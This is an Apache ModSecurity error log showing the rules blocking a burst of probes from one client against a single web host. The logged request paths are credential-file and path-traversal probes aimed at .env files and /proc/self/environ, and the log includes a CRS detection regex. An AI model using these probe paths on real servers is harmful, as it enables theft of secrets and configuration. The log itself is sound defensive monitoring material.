[Mon Oct 26 08:55:26.169554 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9NvjlgTJ_wu3sldtk-UQAAABk"]
[Mon Oct 26 08:55:26.177822 2026] [security2:error] [pid 3034821:tid 3034821] [client 34.126.82.152:42416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9Nvo4EnGqfzEDHsJDJEgAAAB8"]
[Mon Oct 26 08:55:26.178113 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvrJXWag7taVYc8zaPwAAAB4"]
[Mon Oct 26 08:55:26.178207 2026] [security2:error] [pid 3034821:tid 3034821] [client 34.126.82.152:42416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9Nvo4EnGqfzEDHsJDJEgAAAB8"]
[Mon Oct 26 08:55:26.178469 2026] [security2:error] [pid 3034821:tid 3034821] [client 34.126.82.152:42416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9Nvo4EnGqfzEDHsJDJEgAAAB8"]
[Mon Oct 26 08:55:26.178549 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvrJXWag7taVYc8zaPwAAAB4"]
[Mon Oct 26 08:55:26.178760 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9NvrJXWag7taVYc8zaPwAAAB4"]
[Mon Oct 26 08:55:26.231383 2026] [security2:error] [pid 3034819:tid 3034819] [client 34.126.82.152:42430] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvvXU8Ui81KfdAGo2ZQAAAB0"]
[Mon Oct 26 08:55:26.231747 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Nvu7RQ7_j4_e5QOFHVQAAABs"]
[Mon Oct 26 08:55:26.231815 2026] [security2:error] [pid 3034819:tid 3034819] [client 34.126.82.152:42430] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvvXU8Ui81KfdAGo2ZQAAAB0"]
[Mon Oct 26 08:55:26.232071 2026] [security2:error] [pid 3034819:tid 3034819] [client 34.126.82.152:42430] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9NvvXU8Ui81KfdAGo2ZQAAAB0"]
[Mon Oct 26 08:55:26.232204 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Nvu7RQ7_j4_e5QOFHVQAAABs"]
[Mon Oct 26 08:55:26.232468 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Nvu7RQ7_j4_e5QOFHVQAAABs"]
[Mon Oct 26 08:55:26.317494 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9NvimtoTVUWKg0WJJgYwAAABI"]
[Mon Oct 26 08:55:26.317955 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9NvimtoTVUWKg0WJJgYwAAABI"]
[Mon Oct 26 08:55:26.318360 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9NvimtoTVUWKg0WJJgYwAAABI"]
[Mon Oct 26 08:55:26.319843 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9Nvl1KkDkSDUaIwfzbaAAAABc"]
[Mon Oct 26 08:55:26.320231 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9Nvl1KkDkSDUaIwfzbaAAAABc"]
[Mon Oct 26 08:55:26.320475 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9Nvl1KkDkSDUaIwfzbaAAAABc"]
[Mon Oct 26 08:55:26.449432 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9NvjlgTJ_wu3sldtk-UgAAABk"]
[Mon Oct 26 08:55:26.450060 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9NvjlgTJ_wu3sldtk-UgAAABk"]
[Mon Oct 26 08:55:26.450477 2026] [security2:error] [pid 3034816:tid 3034816] [client 34.126.82.152:42394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9NvjlgTJ_wu3sldtk-UgAAABk"]
[Mon Oct 26 08:55:26.482442 2026] [core:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 08:55:26.544168 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9NvnT09R7Np-FQ85dkKwAAAAo"]
[Mon Oct 26 08:55:26.544691 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9NvnT09R7Np-FQ85dkKwAAAAo"]
[Mon Oct 26 08:55:26.545033 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9NvnT09R7Np-FQ85dkKwAAAAo"]
[Mon Oct 26 08:55:26.614197 2026] [core:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 08:55:26.944594 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvimtoTVUWKg0WJJgZAAAABI"]
[Mon Oct 26 08:55:26.944677 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvimtoTVUWKg0WJJgZAAAABI"]
[Mon Oct 26 08:55:26.944879 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvimtoTVUWKg0WJJgZAAAABI"]
[Mon Oct 26 08:55:26.945209 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvimtoTVUWKg0WJJgZAAAABI"]
[Mon Oct 26 08:55:26.961215 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.126.82.152:42380] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9NvnYYJ1RlC0FZClQF6QAAABw"]
[Mon Oct 26 08:55:26.961306 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.126.82.152:42380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9NvnYYJ1RlC0FZClQF6QAAABw"]
[Mon Oct 26 08:55:26.961349 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.126.82.152:42380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9NvnYYJ1RlC0FZClQF6QAAABw"]
[Mon Oct 26 08:55:26.961884 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.126.82.152:42380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9NvnYYJ1RlC0FZClQF6QAAABw"]
[Mon Oct 26 08:55:26.962190 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.126.82.152:42380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9NvnYYJ1RlC0FZClQF6QAAABw"]
[Mon Oct 26 08:55:27.422752 2026] [core:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 08:55:27.426785 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1gAAACA"]
[Mon Oct 26 08:55:27.427090 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1gAAACA"]
[Mon Oct 26 08:55:27.427358 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1gAAACA"]
